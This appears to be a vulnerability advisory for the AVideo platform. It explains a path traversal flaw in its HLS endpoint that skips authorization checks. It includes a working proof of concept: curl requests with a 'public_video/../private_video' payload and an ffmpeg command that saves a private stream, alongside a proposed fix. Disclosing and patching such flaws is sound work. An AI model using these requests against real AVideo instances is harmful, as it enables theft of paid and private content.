AVideo has an Authorization Bypass via Path Traversal in HLS Endpoint Allows Streaming Private/Paid Videos

Summary

The HLS streaming endpoint (view/hls.php) is vulnerable to a path traversal attack that allows an unauthenticated attacker to stream any private or paid video on the platform. The videoDirectory GET parameter is used in two divergent code paths — one for authorization (which truncates at the first / segment) and one for file access (which preserves .. traversal sequences) — creating a split-oracle condition where authorization is checked against one video while content is served from another.

Details

The vulnerability is a split-oracle between the authorization lookup and the filesystem path construction. When hls.php receives a request, it processes $_GET['videoDirectory'] through two independent functions that interpret the input differently.

Step 1 — Authorization lookup truncates at first path segment (objects/video.php:1685-1688):

public static function getVideoFromFileName($fileName, $ignoreGroup = false, $ignoreTags = false)
{
    // ...
    $parts = explode("/", $fileName);
    if (!empty($parts[0])) {
        $fileName = $parts[0];  // Only takes first segment
    }
    $fileName = self::getCleanFilenameFromFile($fileName);
    // ...
    $sql = "SELECT id FROM videos WHERE filename = ? LIMIT 1";
    $res = sqlDAL::readSql($sql, "s", [$fileName]);

For input public_video/../private_video, explode("/", ...) yields ["public_video", "..", "private_video"] and only public_video is used for the DB query. The authorization check at hls.php:73 then runs against this public video:

if (isAVideoUserAgent() || ... || User::canWatchVideo($video['id']) || ...) {

Step 2 — File path construction preserves the traversal (objects/video.php:4622-4638):

public static function getPathToFile($videoFilename, $createDir = false)
{
    $videosDir = self::getStoragePath();
    $videoFilename = str_replace($videosDir, '', $videoFilename);
    $paths = Video::getPaths($videoFilename, $createDir);
    if (preg_match('/index(_offline)?.(m3u8|mp4|mp3)$/', $videoFilename)) {
        $paths['path'] = rtrim($paths['path'], DIRECTORY_SEPARATOR);
        $paths['path'] = rtrim($paths['path'], '/');
        $videoFilename = str_replace($paths['relative'], '', $videoFilename);
        $videoFilename = str_replace($paths['filename'], '', $videoFilename);
    }
    $newPath = addLastSlash($paths['path']) . "{$videoFilename}";
    $newPath = str_replace('//', '/', $newPath);
    return $newPath;
}

getPaths extracts the clean filename (e.g., public_video) to build the base path /videos/public_video/. Then str_replace($paths['filename'], '', $videoFilename) replaces only the clean name from the full input, leaving the traversal intact: /../private_video/index.m3u8. The concatenation at line 4634 produces /videos/public_video/../private_video/index.m3u8, which the OS resolves to /videos/private_video/index.m3u8.

No mitigations exist in the path:
- fixPath() (objects/functionsFile.php:1116) only normalizes slashes, does not filter ..
- No realpath() call anywhere in the chain
- No .. filtering on the videoDirectory parameter
- The traversal is in a query parameter, not the URL path, so web server path normalization does not apply

PoC

Prerequisites: An AVideo instance with at least one public video (filename: public_video) and one private/paid video (filename: private_video).

Step 1 — Confirm the private video is inaccessible directly:

curl -s "https://target.com/view/hls.php?videoDirectory=private_video" \
  | head -5
# Expected: "HLS.php Can not see video [ID] (private_video) cannot watch (ID)"

Step 2 — Exploit the split-oracle to stream the private video:

curl -s "https://target.com/view/hls.php?videoDirectory=public_video/../private_video" \
  -H "Accept: application/vnd.apple.mpegurl"
# Expected: Valid M3U8 playlist containing private_video's HLS segments

Step 3 — Stream the private video content using the returned playlist:

# The M3U8 response contains segment URLs; use ffmpeg or any HLS player:
ffmpeg -i "https://target.com/view/hls.php?videoDirectory=public_video/../private_video" \
  -c copy stolen_video.mp4

The authorization check passes because it resolves public_video (the public video), while the file system serves private_video's HLS stream.

Impact

• Any unauthenticated user can stream any private, unlisted, or paid video on the platform by knowing or guessing its filename directory.
• Paid content bypass: Monetized videos protected by pay-per-view or subscription gates can be streamed for free.
• Privacy violation: Videos marked as private or restricted to specific user groups are fully accessible.
• Content theft at scale: Video filenames follow predictable patterns (e.g., video_YYYYMMDD_XXXXX), enabling enumeration. An attacker only needs one publicly accessible video to pivot to any other video on the instance.
• This affects all AVideo instances with at least one public video, which is the default configuration for any content platform.

Recommended Fix

Sanitize the videoDirectory parameter to reject path traversal sequences before any processing occurs. Apply this fix at the top of view/hls.php:

// view/hls.php — after line 16, before line 17
if (empty($_GET['videoDirectory'])) {
    forbiddenPage("No directory set");
}

// ADD: Reject path traversal attempts
$_GET['videoDirectory'] = str_replace('\\', '/', $_GET['videoDirectory']);
if (preg_match('/\.\./', $_GET['videoDirectory'])) {
    forbiddenPage("Invalid directory");
}
// Normalize: strip leading/trailing slashes, collapse multiples
$_GET['videoDirectory'] = trim($_GET['videoDirectory'], '/');
$_GET['videoDirectory'] = preg_replace('#/+#', '/', $_GET['videoDirectory']);

Additionally, add a realpath() check in getPathToFile as defense-in-depth (objects/video.php:4636):

$newPath = str_replace('//', '/', $newPath);
// ADD: Verify resolved path stays within videos directory
$realPath = realpath($newPath);
$realVideosDir = realpath($videosDir);
if ($realPath === false || strpos($realPath, $realVideosDir) !== 0) {
    return false;
}
return $newPath;